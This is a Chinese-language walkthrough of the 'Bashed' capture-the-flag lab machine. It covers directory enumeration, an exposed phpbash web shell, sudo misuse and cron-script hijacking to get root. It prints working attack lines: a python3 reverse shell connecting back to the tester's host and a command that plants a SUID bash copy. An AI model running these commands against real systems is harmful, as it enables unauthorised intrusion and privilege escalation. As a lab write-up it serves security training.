这台靶机的难度是Easy,可以说是名副其实了。
在端口扫描结果里,只有一个80端口的http服务在运行,这就可以使我们把注意力全部放在http的服务上。
从浏览器中打开网页后内容如下:
通过网页内容,我们可以排除使用CMS,同时也从内容中可以看到phpbash
的相关介绍,所以这就会引起我的猜测:这台靶机上存在phpbash吗?
接下来,我从网页的源码里可以找到一个看起来和网站业务逻辑相关的js:
...
<script type='text/javascript' src='js/main.js'></script>
...
从js文件内容中,我们可以看到有一个ajax的请求:
var params = {
'action': 'SendMessage',
'name': jQuery('#name').val(),
'email': jQuery('#contact-email').val(),
'subject': jQuery('#subject').val(),
'message': jQuery('#message').val()
};
jQuery.ajax({
type: "POST",
url: "php/sendMail.php",
data: params,
success: function (response) {
if (response) {
var responseObj = jQuery.parseJSON(response);
if (responseObj.ResponseData)
{
alert(responseObj.ResponseData);
}
}
},
...
从上述分析中,我们就可以拿到一个接口:
curl -X POST http://10.10.10.68/php/sendMail.php --data-raw "action=SendMessage&name=1&email=2&subject=3&message=4"
但实际上,这个接口没什么卵用,只是在浪费sei干。
接下来,对其进行目录爆破:
gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.68
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/09/14 11:55:12 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 295]
/.htpasswd (Status: 403) [Size: 295]
/css (Status: 301) [Size: 308] [--> http://10.10.10.68/css/]
/dev (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
/fonts (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/]
/images (Status: 301) [Size: 311] [--> http://10.10.10.68/images/]
/js (Status: 301) [Size: 307] [--> http://10.10.10.68/js/]
/php (Status: 301) [Size: 308] [--> http://10.10.10.68/php/]
/server-status (Status: 403) [Size: 299]
/uploads (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/]
===============================================================
2022/09/14 11:55:18 Finished
===============================================================
根据以往惨痛的教训:Shocker靶机带来的启示:目录爆破进阶技巧,我们可以考虑接下来对目录下的文件进行爆破。
但,这台靶机名副其实的Easy原因之二是:Apache服务并没有禁止显示目录索引。
这就会导致我们可以访问http://10.10.10.68/dev/ 时,Apache会列出该目录下所有的文件,如下所示:
好家伙,这不就直接get shell了?
虽然拿到了shell,但这个shell交互性很差,因此,我们可以继续反弹一个交互性比较好的shell。
我们可以从Reverse Shell Generator中进行各种尝试,最终我使用了python3来反弹shell:
export RHOST="10.10.16.10";export RPORT=5555;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
在进一步提权时,我发现www-data
用户可以在不需要输入密码的情况下,以scriptmanager
身份做任何事情。
$ sudo -l
sudo -l
Matching Defaults entries for www-data on bashed:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
那…我以scriptmanager
的身份,执行一下/bin/bash
不过分吧!!?
sudo -u scriptmanager /bin/bash
至此,就可以成功横向移动到scriptmanager
用户了。
经过遍历之后,在根目录下,发现一个不同寻常的文件夹/scripts/
,在这个文件夹里存在两个文件test.py
和test.txt
。
scriptmanager@bashed:/scripts$ ls -al
ls -al
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 07:19 .
drwxr-xr-x 23 root root 4096 Jun 2 07:25 ..
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Sep 24 06:47 test.txt
而test.py
脚本内容也很简单,向test.txt
文件里写入testing 123!
。
scriptmanager@bashed:/scripts$ cat test.py
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close
由此,我们可以推断出,Bashed靶机存在定时任务:以root权限调用test.py
。(可以通过pspy工具来证明,但我太懒了,没必要。)
接下来就可以修改test.py
的内容,达到提权的效果。
echo 'import os;os.system("cp /bin/bash /tmp/bash && chmod u+s /tmp/bash")' > test.py
过一段时间后,执行/tmp/bash -p
,提权成功!